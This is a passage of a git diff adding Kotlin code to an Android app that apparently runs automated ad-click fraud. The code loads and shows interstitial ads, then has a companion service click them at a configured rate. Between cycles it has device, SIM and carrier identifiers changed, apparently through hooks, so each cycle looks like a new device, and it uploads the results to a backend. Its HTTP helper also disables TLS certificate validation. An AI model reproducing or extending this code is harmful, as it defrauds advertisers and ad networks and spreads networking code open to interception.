sendClickAd(rate: Int, pkg: String): Boolean { + return if (!isClicking) { + isClicking = true + try { + Log.d("ocean-brush", "发送点击操作") + myService?.clickAd(rate, pkg) + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + isClicking = false + false + } + } else { + Log.d("ocean-brush", "点击操作未完成,不能重复点击") + false + } + } + + /** + * 发送重启应用指令 + * 添加重置指令的防止多次点击只是为了规整划,不用在意! + */ + fun sendResetApp(pkg: String): Boolean { + return if (!isReset) { + isReset = true + try { + myService?.resetApp(pkg) + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + isReset = false + false + } + } else { + Log.d("ocean-brush", "重启应用遭遇重复指令") + false + } + } + + /** + * 发送修改参数指令 + * + * 只发送一次 + */ + fun sendChangeParameters(pkg: String): Boolean { + return if (!isChangeComplete) { + isChangeComplete = true + try { + myService?.changeParameters(pkg, false)//washParam参数,点击包设置为false + //启动改参超时 + TimeoutManager.startTimeout(TimeoutTask.PARAM_CHANGE){ + myService?.resetApp(pkg) + } + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + isChangeComplete = false + false + } + } else { + Log.d("ocean-brush", "拦截成功!修改参数静止重复指令") + false + } + } + + /** + * 传入广告点击show数据 + */ + fun sendAdsChange( + pkg: String, + adLoadedCount: Int? = null, + adShownCount: Int? = null, + adClickCount: Int? = null + ): Boolean { + return try { + //假设传入的int值为null,则默认为0 + myService?.adsChange(pkg, adLoadedCount ?: 0, adShownCount ?: 0, adClickCount ?: 0) + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + false + } + } + + fun sendReceiveResetOpenSuccessfully(): Boolean { + return try { + myService?.receiveResetOpenSuccessfully() + true + } catch (e: RemoteException) { + Log.e("AIDL链接异常", e.toString()) + false + } + } + + + /** + * AIDL 回调,回调数据同步到 LiveData + */ + private val callback = object : IMyAidlCallback.Stub() { + + override fun onClickComplete(b: Boolean) { + Log.d("ocean-brush", "callback 收到回调:点击广告指令执行完毕") + isClicking = false + Handler(Looper.getMainLooper()).post { + clickAdCompleteLiveData.value = b + } + } + + override fun onParametersComplete(b: Boolean) { + Log.d("ocean-brush", "callback 收到回调:参数操作完成") + isChangeComplete = false + Handler(Looper.getMainLooper()).post { + paramCompleteLiveData.value = b + } + } + + override fun onAdDisplayed() { + + } + + override fun onAdDisplayFailed() { + + } + } + +} diff --git a/app/src/main/java/com/design/zenspace/environment/MainActivity2.kt b/app/src/main/java/com/design/zenspace/environment/MainActivity2.kt new file mode 100644 index 0000000..54e3207 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/MainActivity2.kt @@ -0,0 +1,739 @@ +package com.design.zenspace.environment + +import android.annotation.SuppressLint +import android.app.Activity +import android.net.Uri +import android.os.Build +import android.os.Bundle +import android.os.Handler +import android.os.Looper +import android.telephony.TelephonyManager +import android.util.Log +import androidx.appcompat.app.AppCompatActivity +import androidx.lifecycle.MutableLiveData +import androidx.lifecycle.Observer +import androidx.lifecycle.lifecycleScope +import com.applock.filemanager.magiclock.control.MagicLock +import com.google.android.gms.ads.identifier.AdvertisingIdClient +import com.google.gson.JsonObject +import com.design.zenspace.R +import com.design.zenspace.databinding.ActivityMain2Binding +import com.design.zenspace.environment.ad.AdShowFailed +import com.design.zenspace.environment.ad.AdsInsUtil +import com.design.zenspace.environment.ad.InstAdCacheManager +import com.design.zenspace.environment.ad.LoadListener +import com.design.zenspace.environment.ad.ShowListener +import com.design.zenspace.environment.hy.AppLifecycleTracker +import com.design.zenspace.environment.hy.ConfigCallback +import com.design.zenspace.environment.hy.IdProvider +import com.design.zenspace.environment.hy.MyConfigUtil +import com.design.zenspace.environment.hy.SimIdProvider +import com.design.zenspace.environment.hy.TimeoutManager +import com.design.zenspace.environment.hy.TimeoutTask +import com.design.zenspace.environment.hy.getLocalIpAddress +import com.tradplus.ads.base.bean.TPAdInfo +import com.tradplus.ads.open.TradPlusSdk +import kotlinx.coroutines.Dispatchers +import kotlinx.coroutines.GlobalScope +import kotlinx.coroutines.launch +import kotlinx.coroutines.withContext +import okhttp3.Call +import okhttp3.Callback +import okhttp3.Response +import org.json.JSONObject +import java.io.IOException +import java.math.BigDecimal +import java.math.RoundingMode +import java.util.Locale +import java.util.Random +import java.util.Timer +import java.util.TimerTask +import java.util.UUID +import kotlin.coroutines.resume +import kotlin.coroutines.suspendCoroutine + + +@SuppressLint("WrongConstant") +class MainActivity2 : AppCompatActivity() { + private lateinit var binding: ActivityMain2Binding + private var loadAdNumber = 0//load广告计数 + private var timer: Timer? = null + private val adPlace: MutableList = ArrayList()//可以被show的广告集合 + private var loadAndShowAdNumber = 0//load后并且可以进行show的广告计数 + private val loadJson = JsonObject()//需要上传的load日志json + private val showJson = JsonObject()//需要上传的show日志json + private val viewJson = JsonObject()//展示在刷刷包上的json,选择了一些数据来展示。 + private var quantity = ""//可以被load的广告次数 + private var ecpmCool = ""//最高的ecpm配置 + private var ecpmLow = ""//最低的ecpm配置 + private var clickThroughRate = 80 + private val gaIdError = "00000000-0000-0000-0000-000000000000" + private val loadingAds: MutableSet = mutableSetOf()// 用来跟踪正在加载的广告 + private var startInit = false//是否已经到达初始化广告 + private var shelfNumber = "123" + private var devicesID = "" + private val appStartJson = JsonObject() + private var dataId = 0L + private var simId = 0L + private val aidlClient = AIDLClient.instance + private var isProcessComplete = true //流程是否完毕 + private var remoteIp = "0.0.0.0"//上传到服务的IP + + private val onAdShownLiveData = MutableLiveData() + private val onAdShowFailedLiveData = MutableLiveData() + private val onAdClosedLiveData = MutableLiveData() + + @SuppressLint("MissingInflatedId", "SetTextI18n") + override fun onCreate(savedInstanceState: Bundle?) { + super.onCreate(savedInstanceState) + binding = ActivityMain2Binding.inflate(layoutInflater) + setContentView(binding.root) + binding.title.text = "TradPlus(1月13日)-${getString(R.string.app_name)}" + // 异步获取 IP,不影响主流程 + lifecycleScope.launch { + remoteIp = getPublicIpAddress() + loadJson.addProperty("remoteIp", remoteIp)//远程IP + showJson.addProperty("remoteIp", remoteIp)//远程IP + } + TradPlusSdk.initSdk(this, "B40C100CB1E175ED81EFC575BFFB3511") + TradPlusSdk.setTradPlusInitListener { + appendLoadingTxt("初始化成功") + lifecycle.addObserver(AppLifecycleTracker) + //初始化aidl连接 + aidlClient.initConnection() + //绑定AIDL服务 + aidlClient.connectService(this@MainActivity2) + aidlClient.connectCompleteLiveData.observeForever(connectCompleteObserver) + + aidlClient.paramCompleteLiveData.observeForever(paramCompleteObserver) + aidlClient.clickAdCompleteLiveData.observeForever(clickAdCompleteObserver) + + onAdShownLiveData.observeForever(onAdShownObserver) + onAdShowFailedLiveData.observeForever(onAdShowFailedObserver) + onAdClosedLiveData.observeForever(onAdCloseObserver) + } + } + + private val connectCompleteObserver = Observer { + if (it) { + appendLoadingTxt("CP控制器连接成功,进行初始化配置") + aidlClient.sendBrushMiss() + //初始化配置 + initConfig() + //初始化屏幕点击范围 + magicLockInit() + } else { + appendLoadingTxt("CP控制器连接失败,检查是否安装了正确的软件") + } + } + + private val paramCompleteObserver = Observer { + TimeoutManager.cancelTimeout(TimeoutTask.PARAM_CHANGE) + appendLoadingTxt("参数修改完成") + Log.d("ocean-brush", "MainActivity 参数修改操作完成->$it") + if (it) { + aidlClient.sendResetApp(packageName) + } else { + appendLoadingTxt("参数修改失败,等待${paramTimeLeft}秒再次进行参数修改") + startParamCountdown() + } + } + + private val clickAdCompleteObserver = Observer { + Log.d("ocean-brush", "MainActivity 监听到点击广告指令完成") + if (it) { + if (AppLifecycleTracker.isMainActivityVisible) { + Log.d( + "ocean-brush", + "MainActivity 成功回到前台,取消点击超时任务,并置 isProcessComplete = true" + ) + TimeoutManager.cancelTimeout(TimeoutTask.CLICK_AD) + isProcessComplete = true + } else { + Log.d("ocean-brush", "MainActivity 但是没有回到前台,进行修改参数重置") + aidlClient.sendChangeParameters(packageName) + } + } else { + Log.d("ocean-brush", "MainActivity 但是intent=null,进行修改参数重置") + aidlClient.sendChangeParameters(packageName) + } + } + + private val onAdShownObserver = Observer { + Log.d("ocean-brush", "MainActivity 监听到广告展示成功") + TimeoutManager.cancelTimeout(TimeoutTask.SHOW_AD) + val isSendClick = aidlClient.sendClickAd(clickThroughRate, packageName) + if (isSendClick) {//指令发送成功 + //广告展示后,启动广告关闭超时任务 + TimeoutManager.startTimeout(TimeoutTask.CLOSE_AD) {//十秒 + Log.d("ocean-brush", "超时任务,广告关闭失败,直接进行改参重置") + aidlClient.sendChangeParameters(packageName) + } + //发送点击广告指令后,启动点击广告的超时任务 + TimeoutManager.startTimeout(TimeoutTask.CLICK_AD) { + Log.d("ocean-brush", "超时任务,广告点击流程没有回来,直接进行重置") + aidlClient.sendChangeParameters(packageName) + } + } + } + + private val onAdShowFailedObserver = Observer { + Log.d("ocean-brush", "MainActivity 监听到广告展示失败,直接进行重置") + TimeoutManager.cancelTimeout(TimeoutTask.SHOW_AD) + aidlClient.sendChangeParameters(packageName) + } + + private val onAdCloseObserver = Observer { + Log.d("ocean-brush", "MainActivity 监听到广告被关闭") + TimeoutManager.cancelTimeout(TimeoutTask.CLOSE_AD) + +// val activityManager = getSystemService(Context.ACTIVITY_SERVICE) as ActivityManager +// val runningTasks = activityManager.getRunningTasks(10) +// +// for (task in runningTasks) { +// if (task.topActivity?.className?.contains("com.vungle.ads.internal.ui.VungleActivity") == true) { +// Log.d("AD_KILLER", "发现 VungleActivity,尝试关闭") +// Runtime.getRuntime().exec("am force-stop com.vungle.ads") +// } +// } + } + + private fun initConfig() { + aidlClient.sendBrushMiss() + val fromCpGuise = intent?.getBooleanExtra("EXTRA_FROM_CP_GUISE_RESET", false) ?: false + if (fromCpGuise) { + Log.d("ocean-brush", "App2 是从 CP reset 启动的!通知cp知道") + aidlClient.sendReceiveResetOpenSuccessfully() + } + + binding.applicationId.text = packageName + getDeviceIdFromProvider { content, b -> + appendLoadingTxt("${b}设备ID:$content") + if (content != null) { + devicesID = content + } + } + dataId = IdProvider().getId() + simId = SimIdProvider().getSimId() + val hookInfo = + "dataId->$dataId," + "simId->$simId" + "制造商:${Build.MANUFACTURER}," + "型号:${Build.MODEL}," + "国家:${ + getSimCountryIso(this@MainActivity2) + }," + "MCC:${mcc()}," + "MNC:${mnc()}" + appendLoadingTxt(hookInfo) + if (dataId == 0L) { + appendLoadingTxt("dataId返回的默认值,hook没生效,修改参数重试") + startCountdown() + return + } + MyConfigUtil.getConfig(packageName, object : ConfigCallback { + override fun onResponse(result: String) { + aidlClient.sendBrushMiss() + Log.d("ocean-brush", "加载config配置成功") + Log.d("ocean", "result->${result}") + val json = JSONObject(result) + val dataJson = json.optJSONObject("data") + if (dataJson != null) { + quantity = dataJson.optString("quantity") + ecpmCool = dataJson.optString("ecpmCool") + ecpmLow = dataJson.optString("ecpmLow") + clickThroughRate = dataJson.optInt("clickThroughRate") + appendLoadingTxt("配置->quantity:${quantity},ecpmCool:${ecpmCool},ecpmLow:${ecpmLow},点击:${clickThroughRate}") + getBidJson() + } + } + + override fun onFailure(e: IOException) { + aidlClient.sendBrushMiss() + Log.d("ocean-brush", "加载config配置失败") + val message = "message=${e.message}" + appendLoadingTxt("$message \n Config获取失败,请检查是否在后台配置包名,${timeLeft}秒后将会重置") + runOnUiThread { + startCountdown() + } + } + }) + } + + private fun magicLockInit() { + aidlClient.sendBrushMiss() + MagicLock.getInstance(application) + .addMagicActionListener(object : MagicLock.MagicActionListener { + override fun insAreaClick() { + + } + + override fun rewardAreaClick() { + + } + }) + timer = Timer() + timer!!.schedule(object : TimerTask() { + override fun run() { + runOnUiThread { + if ((loadAndShowAdNumber <= 0 || adPlace.size <= 0)) { + /** + * 没有广告的情况 + * [startInit]广告已经进入过初始化 + * [isAnyAdLoading]没有广告在loading中 + * [isProcessComplete]每次流程是否执行完毕 + * [AppLifecycleTracker.isMainActivityVisible]应用已经恢复到前台展示 + * 满足条件则进行重置,发送修改参数指令 + */ + if (startInit && !isAnyAdLoading() && isProcessComplete && AppLifecycleTracker.isMainActivityVisible) { + //更新UI,显示为 true + MagicLock.getInstance(application) + .refreshStartResetView(this@MainActivity2, true) + //发送修改参数指令 + aidlClient.sendChangeParameters(packageName) + } + } else { + /** + * 有广告可以展示 + * [isProcessComplete]流程已经执行完毕 + * [AppLifecycleTracker.isMainActivityVisible]应用已经恢复到前台展示 + * 满足条件发送show指令 + */ + if (isProcessComplete && AppLifecycleTracker.isMainActivityVisible) { + //开始执行点击流程时,置为false + isProcessComplete = false + showInsAd() + //启动show超时检测,然后在show成功与show失败取消超时任务 + TimeoutManager.startTimeout(TimeoutTask.SHOW_AD) { + //超时都没有show出来则流程重置,让time下次判定可以去show广告 + isProcessComplete = true + } + // 开始流程后,启动是否有广告卡住流程的超时任务。100秒 + TimeoutManager.startTimeout(TimeoutTask.OVERALL_PROCESS) { + aidlClient.sendChangeParameters(packageName) + } + } + } + MagicLock.getInstance(application) + .refreshInsCountView(this@MainActivity2, adPlace.size) + //在TimerTask任务中判定流程已经完毕,并且是否回到了mainActivity,回来则取消超时 + //超过没有回来,则判定为卡住了。 + if (isProcessComplete && AppLifecycleTracker.isMainActivityVisible) { + TimeoutManager.cancelTimeout(TimeoutTask.OVERALL_PROCESS) + } + } + //发送广告数量 + aidlClient.sendAdsChange(packageName, getInsAdReturnCount()) + + //通信cp,用于心跳检测 + aidlClient.sendHeartBeat(packageName) + } + }, 2000, 2000) + } + + // 检查是否有广告在加载中 + fun isAnyAdLoading(): Boolean { + return loadingAds.isNotEmpty() + } + + private fun initAd() { + aidlClient.sendBrushMiss() + Log.d("ocean-brush", "开始加载三个广告") + startInit = true + appendLoadingTxt("开始加载三个广告") + loadAd(AdsInsUtil.Placement.TOP_ON_AD_ONE) + loadAd(AdsInsUtil.Placement.TOP_ON_AD_TOW) + loadAd(AdsInsUtil.Placement.TOP_ON_AD_THREE) + } + + private fun loadAd(placeId: String) { + val startLoadTime = System.currentTimeMillis() + loadingAds.add(placeId) + + loadAdNumber++//广告load计数(进入loadAd方法就进行计数) + + AdsInsUtil.loadAd(this, placeId, object : LoadListener { + @SuppressLint("DefaultLocale") + override fun loaded(ad: TPAdInfo) { + aidlClient.sendBrushMiss() + val loadedEndTime = System.currentTimeMillis() + appendLoadingTxt("${placeId}AD加载成功") + aidlClient.sendAdsChange(packageName, getInsAdReturnCount()) + // 将 ecpm 转换为 BigDecimal 类型,并进行除法运算 + val result = BigDecimal(ad.ecpm.toDouble()).divide( + BigDecimal(1000), + 20, + RoundingMode.HALF_UP + ) + // 将结果转换为字符串表示形式 + val formattedString: String = result.toPlainString() + Log.d("ocean", "scientificNotation->${formattedString}") + appendLoadingTxt("${ad.adNetworkId} ecpm->$formattedString") + Log.d("ocean", "平台->${ad.adNetworkId} ecpm->${formattedString}") + loadJson.addProperty("succeed", true)//广告加载是否成功 + loadJson.addProperty("loadTime", loadedEndTime - startLoadTime)//加载时间 + loadJson.addProperty("adPlatform", "TradPlus")//广告平台 + loadJson.addProperty("countryCode", ad.format)//国家代码 + loadJson.addProperty("adId", placeId)//广告Id + loadJson.addProperty("platformResponseTime", "")//平台广告响应时间 + loadJson.addProperty("ecpm", formattedString)//广告单价 + loadJson.addProperty("dsp", ad.adNetworkId) + loadJson.addProperty("network", ad.adNetworkId) + loadJson.addProperty("washParam", false) + + //load广告,只有价格大于等于配置的最低值则添加到可以show的广告集合中 + if (formattedString.toFloat() >= ecpmLow.toFloat()) { + Log.d("ocean", "onAdLoaded add ->${placeId}") + adPlace.add(placeId) + loadAndShowAdNumber++ + loadJson.addProperty("showStatus", "0") + } else { + loadJson.addProperty("showStatus", "-1") + } + + viewJson.addProperty("广告加载时间", loadedEndTime - startLoadTime) + viewJson.addProperty("ecpmLow", ecpmLow) + viewJson.addProperty("ecpm", formattedString) + viewJson.addProperty("是否满足show", formattedString.toFloat() >= ecpmLow.toFloat()) + appendInfoTxt(viewJson.toString()) + + MyConfigUtil.initPostLoadLog(loadJson) + + loadingAds.remove(placeId) + } + + override fun loadFailed(error: String) { + aidlClient.sendBrushMiss() + val loadedEndTime = System.currentTimeMillis() + loadJson.addProperty("succeed", false)//广告加载是否成功 + loadJson.addProperty("loadTime", loadedEndTime - startLoadTime)//加载时间 + loadJson.addProperty("adPlatform", "TradPlus")//广告平台 + loadJson.addProperty("adId", placeId)//广告Id + loadJson.addProperty("washParam", false) + loadJson.addProperty("errorData", error) + + MyConfigUtil.initPostLoadLog(loadJson) + + Log.d("ocean", "error->${error.toString()}") + aidlClient.sendAdsChange(packageName, getInsAdReturnCount()) + loadingAds.remove(placeId) + appendLoadingTxt("${placeId}AD加载失败-${error}") + } + }) + } + + private val msgSB = StringBuilder() + private fun appendInfoTxt(msg: String) { + runOnUiThread { + msgSB.appendLine(msg) + binding.infoTv.text = msgSB.toString() + } + } + + private val msgLoading = StringBuilder() + private fun appendLoadingTxt(msg: String) { + runOnUiThread { + msgLoading.appendLine(msg) + binding.loadingTv.text = msgLoading.toString() + } + } + + private fun getInsAdReturnCount(): Int { + return InstAdCacheManager.instance.getLoadedInstCount() + } + + fun showInsAd() { + aidlClient.sendBrushMiss() + Log.d("ocean-brush", "满足条件,开始展示广告") + //随机 + Log.d("ocean", " show广告集合是否有值:${adPlace.size}") + if (adPlace.isNotEmpty()) { + val placeId = Random().nextInt(adPlace.size) + val place = adPlace[placeId] + adPlace.remove(place) + + AdsInsUtil.showAd(this, place, object : ShowListener { + @SuppressLint("DefaultLocale") + override fun onAdShown(ad: TPAdInfo?) { + aidlClient.sendBrushMiss() + Handler(Looper.getMainLooper()).post { + onAdShownLiveData.value = true + } + // 将 ecpm 转换为 BigDecimal 类型,并进行除法运算 + val ecpm = ad?.ecpm?.toDouble() ?: 0.0 + val result = BigDecimal(ecpm).divide(BigDecimal(1000), 20, RoundingMode.HALF_UP) + // 将结果转换为字符串表示形式 + val formattedString: String = result.toPlainString() + showJson.addProperty("succeed", true)//广告加载是否成功 + showJson.addProperty("adPlatform", "Max")//广告平台 + showJson.addProperty("countryCode", ad?.format ?: "")//国家代码 + showJson.addProperty("adId", place)//广告Id + showJson.addProperty("platformResponseTime", "")//平台广告响应时间 + showJson.addProperty("ecpm", formattedString)//广告单价 + showJson.addProperty("dsp", ad?.adNetworkId ?: "") + showJson.addProperty("network", ad?.adNetworkId ?: "") + MyConfigUtil.initPostShowLog(showJson) + + Log.d("ocean", "onAdShown decimalNumber->$formattedString") + + Log.d("ocean", "onAdShown loadAdNumber->${loadAdNumber}") + Log.d("ocean", "onAdShown quantity.toInt()->${quantity.toInt()}") + if (loadAdNumber < quantity.toInt()) {//不能大于配置的数量 + if (ecpmCool.isNotEmpty()) { + //满足配置的最高的价格则重新load这个被消耗的 + Log.d("ocean", "onAdShown ecpmCool->${ecpmCool}") + Log.d("ocean", "onAdShown ecpmCool.toFloat()->${ecpmCool.toFloat()}") + if (formattedString.toFloat() >= ecpmCool.toFloat()) { + loadAd(place) + } + } + } + + println("scanner_ad onAdShown") + aidlClient.sendAdsChange(packageName, getInsAdReturnCount(), 1, 0) + loadAndShowAdNumber-- + } + + override fun onAdClicked() { + aidlClient.sendBrushMiss() + Log.d("ocean", " 点击show广告") + aidlClient.sendAdsChange(packageName, getInsAdReturnCount(), 0, 1) + } + + override fun onAdShowFailed(error: AdShowFailed?) { + aidlClient.sendBrushMiss() + Handler(Looper.getMainLooper()).post { + onAdShowFailedLiveData.value = true + } + Log.d("ocean", " show广告失败") + aidlClient.sendAdsChange(packageName, getInsAdReturnCount()) + loadAndShowAdNumber-- + showJson.addProperty("succeed", false)//广告加载是否成功 + showJson.addProperty("adPlatform", "Max")//广告平台 + showJson.addProperty("adId", place)//广告Id + MyConfigUtil.initPostShowLog(showJson) + } + + override fun onAdClosed() { + aidlClient.sendBrushMiss() + Handler(Looper.getMainLooper()).post { + onAdClosedLiveData.value = true + } + aidlClient.sendAdsChange(packageName, getInsAdReturnCount()) + } + }) + } + } + + //路径 /storage/emulated/0/phone.xml + private fun getBidJson() { + aidlClient.sendBrushMiss() + Log.d("ocean-brush", "组装load数据与show数据上传,并且获取gaid") + val linkId = UUID.randomUUID().toString().replace("-", "") + GlobalScope.launch { + withContext(Dispatchers.IO) { + val gaId = AdvertisingIdClient.getAdvertisingIdInfo(this@MainActivity2).id + Log.d("ocean", "getAdvertisingIdInfo gaId->${gaId}") + + viewJson.addProperty("设备ID", devicesID) + viewJson.addProperty("货架号", shelfNumber) +// viewJson.addProperty("IP获取时间", endIpTime - startIpTime) + + loadJson.addProperty("deviceId", devicesID) + loadJson.addProperty("shelfNumber", shelfNumber)//货架号 + loadJson.addProperty("localIp", getLocalIpAddress())//本地IP + loadJson.addProperty("linkId", linkId)//链路Id + loadJson.addProperty("packageName", packageName)//包名 + loadJson.addProperty("gaid", gaId) + loadJson.addProperty("dataId", dataId) + loadJson.addProperty("carrierId",simId) + loadJson.addProperty("getIpResponseTime", 0) + loadJson.addProperty("packageVersion", 1) + loadJson.addProperty("version", 3) + loadJson.addProperty("phoneVersion", Build.MODEL) + + showJson.addProperty("deviceId", devicesID) + showJson.addProperty("shelfNumber", shelfNumber) + showJson.addProperty("localIp", getLocalIpAddress())//本地IP + showJson.addProperty("linkId", linkId)//链路Id + showJson.addProperty("packageName", packageName)//包名 + showJson.addProperty("gaid", gaId) + showJson.addProperty("dataId", dataId) + showJson.addProperty("carrierId",simId) + showJson.addProperty("getIpResponseTime", 0) + showJson.addProperty("version", 3) + showJson.addProperty("phoneVersion", Build.MODEL) + + runOnUiThread { + binding.gaidTv.text = gaId + if (gaId != null) { + if (gaId == gaIdError) { + binding.gaidLayout.setBackgroundColor(getColor(R.color.red)) + //gaID没有确的值就发送重置广播 + appendLoadingTxt("没有获取到GAID,$timeLeft 秒后将会重置") + startCountdown() + } else { + binding.gaidLayout.setBackgroundColor(getColor(R.color.green)) + initAd() + } + } else { + appendLoadingTxt("没有获取到GAID,$timeLeft 秒后将会重置") + startCountdown() + } + } + } + } + } + + /** + * https://api.tikustok.com/app/common/getIPInfo + * https://openapi.lux-ad.com/app/common/getIPInfo + */ + private suspend fun getPublicIpAddress(): String = suspendCoroutine { continuation -> + var publicIp = "0.0.0.0" + try { + VmHttpUtil.mInstance.getIPInfo( + "https://openapi.lux-ad.com/app/common/getIPInfo", + object : Callback { + override fun onFailure(call: Call, e: IOException) { + runOnUiThread { + appendLoadingTxt("获取IP失败") + } + + continuation.resume(publicIp) + } + + override fun onResponse(call: Call, response: Response) { + Log.d("ocean", "getIPInfo response->${response}") + if (response.code == 200) { + val responseData = response.body?.string() + if (responseData != null) { + val jsonObject = JSONObject(responseData) + Log.d("ocean", "getIPInfo jsonObject->${jsonObject}") + val status = jsonObject.optString("status") + if (status == "Success") { + val data = jsonObject.getJSONObject("data") + appendLoadingTxt("获取IP成功->${data}") + Log.d("ocean", "getIPInfo data->${data}") + publicIp = data.optString("ip") + continuation.resume(publicIp) + } else { + continuation.resume(publicIp) + } + } else { + continuation.resume(publicIp) + } + } else { + runOnUiThread { + appendLoadingTxt("获取IP失败->${response}") + } + continuation.resume(publicIp) + } + } + }) + } catch (e: Exception) { + e.printStackTrace() + appendLoadingTxt("获取IP失败 catch->${e}") + continuation.resume(publicIp) + } + } + + override fun onDestroy() { + super.onDestroy() + aidlClient.connectCompleteLiveData.removeObserver(connectCompleteObserver) + aidlClient.paramCompleteLiveData.removeObserver(paramCompleteObserver) + aidlClient.clickAdCompleteLiveData.removeObserver(clickAdCompleteObserver) + onAdShownLiveData.removeObserver(onAdShownObserver) + onAdShowFailedLiveData.removeObserver(onAdShowFailedObserver) + onAdClosedLiveData.removeObserver(onAdCloseObserver) + aidlClient.disconnect(this) + stopCountdown() + stopParamCountdown() + } + + private fun getSimCountryIso(context: Activity): String { + val telephonyManager = context.getSystemService("phone") as TelephonyManager? + return telephonyManager?.simCountryIso?.uppercase(Locale.ENGLISH) ?: "" + } + + private fun mnc(): String { + val telephonyManager = getSystemService("phone") as TelephonyManager + return try { + val networkOperator = telephonyManager.networkOperator + networkOperator.substring(3.coerceAtMost(networkOperator.length)) + } catch (e: Exception) { + "" + } + } + + private fun mcc(): String { + val telephonyManager = getSystemService("phone") as TelephonyManager + return try { + val networkOperator = telephonyManager.networkOperator + networkOperator.substring(0, minOf(3, networkOperator.length)) + } catch (e: Exception) { + "" + } + } + + @SuppressLint("Range") + fun getDeviceIdFromProvider(callback: (String?, Boolean) -> Unit) { + val uri = Uri.parse("content://com.guise.deviceidprovider/device_id") + val cursor = contentResolver.query(uri, null, null, null, null) + + if (cursor != null && cursor.moveToFirst()) { + val deviceId = cursor.getString(cursor.getColumnIndex("device_id")) + cursor.close() // 关闭 Cursor + callback(deviceId, true) // 成功读取到 Device ID + } else { + callback(null, false) // 读取失败 + } + } + + /** + * 通用进行重置,五秒倒计时 + */ + private var timeLeft = 5 // 倒计时时间 + private val countdownHandler = Handler(Looper.getMainLooper()) + private val countdownRunnable = object : Runnable { + override fun run() { + if (timeLeft > 0) { + appendLoadingTxt("⏳ 剩余 $timeLeft 秒后执行 修改参数 指令") + timeLeft-- + countdownHandler.postDelayed(this, 1000) // 继续倒计时 + } else { + appendLoadingTxt("🚀 执行 修改参数 指令") + aidlClient.sendChangeParameters(packageName) + } + } + } + + private fun startCountdown() { + timeLeft = 5 // 重新初始化时间 + countdownHandler.post(countdownRunnable) // 开始倒计时 + } + + private fun stopCountdown() { + countdownHandler.removeCallbacks(countdownRunnable) // 取消倒计时 + } + + /** + * 参数修改失败,重新修改倒计时 + */ + private var paramTimeLeft = 15 + private val countdownParamHandler = Handler(Looper.getMainLooper()) + private val countdownParamRunnable = object : Runnable { + override fun run() { + if (paramTimeLeft > 0) { + paramTimeLeft-- + countdownParamHandler.postDelayed(this, 1000) // 继续倒计时 + } else { + appendLoadingTxt("执行修改参数指令") + aidlClient.sendChangeParameters(packageName) + } + } + } + + private fun startParamCountdown() { + paramTimeLeft = 15 // 重新初始化时间 + countdownParamHandler.post(countdownParamRunnable) // 开始倒计时 + } + + private fun stopParamCountdown() { + countdownParamHandler.removeCallbacks(countdownParamRunnable) // 取消倒计时 + } +} diff --git a/app/src/main/java/com/design/zenspace/environment/VmHttpUtil.kt b/app/src/main/java/com/design/zenspace/environment/VmHttpUtil.kt new file mode 100644 index 0000000..3a84139 --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/VmHttpUtil.kt @@ -0,0 +1,82 @@ +package com.design.zenspace.environment + +import android.content.Context +import android.net.ConnectivityManager +import okhttp3.Callback +import okhttp3.MediaType.Companion.toMediaType +import okhttp3.OkHttpClient +import okhttp3.Request +import java.io.IOException +import java.security.SecureRandom +import java.security.cert.X509Certificate +import java.util.concurrent.TimeUnit +import javax.net.ssl.SSLContext +import javax.net.ssl.TrustManager +import javax.net.ssl.X509TrustManager + +class VmHttpUtil { + + fun isNetworkAvailable(context: Context): Boolean { + val connectivityManager = + context.getSystemService(Context.CONNECTIVITY_SERVICE) as ConnectivityManager + val activeNetworkInfo = connectivityManager?.activeNetworkInfo + return activeNetworkInfo != null && activeNetworkInfo.isConnected + } + + private var mOkHttpClient: OkHttpClient? = null + + companion object { + val mInstance: VmHttpUtil by lazy(mode = LazyThreadSafetyMode.SYNCHRONIZED) { + VmHttpUtil() + } + } + + private val CONNECT_TIMEOUT: Long = 60 //超时时间,秒 + + private val READ_TIMEOUT: Long = 60 //读取时间,秒 + + private val WRITE_TIMEOUT: Long = 60 //写入时间,秒 + + init { + // ---- 不安全:信任所有证书(仅测试用) ---- + val trustAllCerts = arrayOf( + object : X509TrustManager { + override fun checkClientTrusted(chain: Array, authType: String) {} + override fun checkServerTrusted(chain: Array, authType: String) {} + override fun getAcceptedIssuers(): Array = arrayOf() + } + ) + + val sslContext = SSLContext.getInstance("TLS") + sslContext.init(null, trustAllCerts, SecureRandom()) + val sslSocketFactory = sslContext.socketFactory + + val builder: OkHttpClient.Builder = OkHttpClient.Builder() + .connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS) + .writeTimeout(READ_TIMEOUT, TimeUnit.SECONDS) + .readTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS) + .sslSocketFactory(sslSocketFactory, trustAllCerts[0] as X509TrustManager) + mOkHttpClient = builder.build() + } + + private val mediaType = "application/json; charset=utf-8".toMediaType() + + fun getIPInfo(url: String, callback: Callback) { + val request: Request = Request.Builder() + .url(url) + .get() + .build() + doAsync(request, callback) + } + + /** + * 异步请求 + */ + @Throws(IOException::class) + private fun doAsync(request: Request, callback: Callback) { + //创建请求会话 + val call = mOkHttpClient!!.newCall(request) + //同步执行会话请求 + call.enqueue(callback) + } +} \ No newline at end of file diff --git a/app/src/main/java/com/design/zenspace/environment/ad/AdActivityManager.kt b/app/src/main/java/com/design/zenspace/environment/ad/AdActivityManager.kt new file mode 100644 index 0000000..110cc6c --- /dev/null +++ b/app/src/main/java/com/design/zenspace/environment/ad/AdActivityManager.kt @@ -0,0 +1,177 @@ +package com.design.zenspace.environment.ad + +import android.annotation.SuppressLint +import android.app.Activity +import android.app.Application +import android.content.Context +import android.os.Bundle +import android.provider.Settings +import android.util.Log +import com.design.zenspace.environment.ad.async.Async +import com.unity3d.services.ads.adunit.AdUnitActivity +import com.vungle.ads.internal.ui.AdActivity +import com.vungle.ads.internal.ui.view.MRAIDAdWidget + +class AdActivityManager { + private var mCurrentShowAd: Activity? = null//记录当前正在展示的inst广告Activity + private var mApplicationContext: Context? = null + private var mAID: String? = null + private var mListener: InstAdLeaveAndReturnListener? = null + private var isAdClosed = false//当广告点击了close按钮的时候 设置成true + private var isAdClicked = false//标记inst是否已是已点击状态 + + companion object { + val instance: AdActivityManager by lazy(mode = LazyThreadSafetyMode.SYNCHRONIZED) { + 